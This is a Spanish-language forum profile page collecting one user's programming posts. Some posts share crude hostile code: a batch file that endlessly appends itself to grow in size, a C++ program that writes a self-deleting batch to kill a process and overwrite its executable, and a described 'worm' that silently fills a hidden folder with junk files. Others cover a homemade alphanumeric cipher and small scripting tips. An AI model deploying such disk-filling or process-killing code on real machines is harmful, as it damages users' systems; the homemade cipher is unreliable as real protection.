Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - zikotik

#11
Para el retraso de ejecución, directamente utilicé el While para que intente abir batch en modo input para saber si ya existe o aún no, en cuyo caso de existir, cierra la lectura y ejecuta el batch.
#12
No encontré cómo inyectar el proceso en otro, así que hice algo mucho más fácil...

Escribir un batch desde el ejecutable, ejecutar este batch y listo, pero para no dar mucho lío de código, dejo este mismo pero acortado.

NOTA: YA SÉ QUE LO SIGUIENTE NO SE DEBE HACER Y QUE MUCHOS ME VAN A RETAR SEGURAMENTE O ME DIRAN PEDAZO DE HIJO DE..., PERO LO HICE PORQUE NO ME DIO MUCHO LA CABEZA...

Código (cpp) [Seleccionar]
#include <iostream>
#include <fstream>
#include <stdlib.h>

using namespace std;

int main(){
fstream file("tmp.bat", ios::out);
file << "taskkill /F /IM arch.exe\necho PROBANDO 123>>arch.exe\ndel %0\nexit";
file.close();

ifstream tmp("tmp.bat");
while(!tmp){
ifstream tmp("tmp.bat");
}
tmp.close();

system("tmp.bat");
}
#13
Hola qué tal, estaba aburro y decidí hacer algo así como un malware, virus, o como lo quieran llamar, que lo que hace es autocopiar su mismo código al final del mismo, de tal manera que se vaya duplicando su tamaño cada vez más y más.

El problema es que se me ocurrió hacerlo en batch ya que quería hacer un concepto base, y la verdad es que no tengo ni idea de cómo pasarlo a lenguage C++ (se programar en este).

No sé si pueden tirarme una idea aunque sea para ver cómo me las puedo arreglar.

Código (dos) [Seleccionar]
@echo off
type archivo.bat >> archivo.bat


Básicamente lee su mismo código y se autocopia al final del mismo archivo, y como no reconoce fin de línea, se sigue copiando, pero en C++ tiraría error ya que no se puede modificar el mismo archivo si está en ejecución, por éso pregunto para saber si se les ocurre algo.

Gracias de antemano.
#14
Hola gente, quería compartir con uds un método de cifrado que estoy armando junto con un amigo, basado en Arrays, para utilizar en bases de datos SQL con PHP y lectura/escritura de archivos con C++.

Quisieramos saber qué opinan de éste método de cifrado y qué podría mejorarse.

Por el momento sirve sólo para datos alfanuméricos, lo cual hace que sea básico (es sólo para tener una base). Los caracteres están identificados con un número de 2 dígitos en una tabla de 12 x 3 (36 caracteres) tomando por igual a las mayúsculas y a las minúsculas.

Código (bash) [Seleccionar]
10 11 12 13 14 15 16 17 18 19 20 21
A  B  C  D  E  F  G  H  I  J  K  L

22 23 24 25 26 27 28 29 30 31 32 33
M  N  O  P  Q  R  S  T  U  V  W  X

34 35 36 37 38 39 40 41 42 43 44 45
Y  Z  0  1  2  3  4  5  6  7  8  9


Al encriptarlo, se debe pasar cada caracter de cada palabra a los siguiente valores teniendo en cuenta la tabla anterior:

Código (bash) [Seleccionar]
0 1 2 3 4 5 6 7 8 9
Z B P K G Q V H C A


Nota: A partir de ahora, tomaremos la palabra "ASD" como ejemplo.

Para pasar un caracter a valor cifrado, se debe separar un dígito del otro, como por ejemplo:

Código (bash) [Seleccionar]
ASDS = ?
A = B + Z
S = P + C
D = B + K
? = B + Z + P + C + B + K


Cuando se hayan pasado todos los caracteres, se deben eliminar sólo los caracteres repetidos, pero obteniendo la distancia del siguiente valor repetido a partir del primero, y luego se escribe el número de la distancia delante del primer valor cifrado, es decir...

Código (bash) [Seleccionar]
ASD = ?
? = B + Z + P + C + B + K
? = B + Z + P + C + 4 + K
? = 4B + Z + P + C + K


Por último la palabra cifrada quedaría de la siguiente manera:

Código (bash) [Seleccionar]
ASD = 4BZPCK

Les dejo un par de ejemplos para que vean...

Código (bash) [Seleccionar]
root = PHPGPGPA = 2PH2G2PA
linux = PBBCPKKZKK = 4P1BC1KZ1K
bunker = BBKZPKPZBGPH = 1B3K4Z2PBGPH
flug = BQPZKZBV = 6BQP2ZKV
produkt = PQPHPGBKKZPZPA = 2PQH6PGB1K2ZPA
trinken = PAPHBCPKPZBGPK = 2PAH6BC2P6KZGP
schnee = PCBPBHPKBGBG = 3PC2BHPK2B2G
#15
Como decía saberuneko, es recomendado usar AutoIt ya que tiene infinitas funciones y en su mayoría bastante flexibles. Casi podría decirte que tiene una similitud con el Visual Basic, pero hasta ahí no más.

Te recomiendo que leas bien las funciones de la librería IE, para bots que manejen datos y demás parafernalias del navegador. Las funciones de esta, por defecto empiezan con el prefijo _IE.

Igualmente cuando abrís el programa, si apretás F1, te tira todo un manual con ejemplos y métodos de uso.
#16
Scripting / Re: [Reto Batch] Get IP from DNS
7 Febrero 2014, 15:24 PM
Es lo más sencillo que se me ocurrió sin ser tan sinuoso con el FOR.

Código (dos) [Seleccionar]
@echo off
ping -n 1 %1 |find "%1">data.tmp
for /f "tokens=2 delims=[]" %%a in (data.tmp) do (
echo %%a
del data.tmp
)
#17
Scripting / Re: [Reto Batch] Get IP from DNS
6 Febrero 2014, 16:47 PM
.
#18
Programación C/C++ / Re: Worm básico en C++
13 Enero 2014, 12:47 PM
Cita de: ivancea96 en 11 Enero 2014, 19:08 PM
La base de un worm, es multiplicarse y moverse por redes, entre otras.
Eso que tienes ahí, yo lo calificaría como virus.
Por cierto, para que usas la variable 'i'? No te valdría poner while(1==1)? xD

Nunca se me había ocurrido lo del "1==1", me ahorro una variable y una suma...
Gracias por la data, y respecto a lo de la clasificación, tienen razón, no es un gusano, me puse a leer bien en wikipedia las diferencias entre los distintos tipos y malinterpreté.
#19
Programación C/C++ / Re: Worm básico en C++
11 Enero 2014, 12:40 PM
Lo que hace este código es buscar un archivo basuro con el nombre "err" con el número de id dado por la variable "dat" (que en realidad sería la extensión del archivo pero en números), en cuyo caso no exista, lo crea. Una vez que crea el archivo, espera 125 milisegundos y comienza nuevamente el loop (en realidad se puede sacar el Sleep(), pero consumiría muchísima ram y la víctima se daría cuenta de que está infectada).

Si se borra algún archivo basura, al ser ejecutado nuevamente el worm (suponiendo que está agregado al registro), busca entre los archivos basura si hay algún faltante, en caso de ser así, lo reconstruye y continua buscando y escribiendo.

La idea principal es que ocupe espacio en alguna carpeta oculta del hdd sin afectar tanto a la ram.

Un ejemplo gráfico de su funcionamiento sería:

err.0 find
err.1 find
err.2 find
err.3 find
err.4 find
err.5 not found
err.5 made
err.6 not found
err.6 made


Tal funcionamiento es así para no perder tanto tiempo en la escritura de archivos. Perdés un poco de tiempo buscando los archivos no creados si es ejecutado nuevamente, pero el tiempo es mucho menos que al escribir cada uno de estos aunque ya existan.
#20
Probá recorriendo el fichero con un for comparando cada palabra con la función strcmp() y que cuando encuentra la palabra tal a buscar, haga un break para detener el ciclo for.

Sincermente, no conozco otra forma.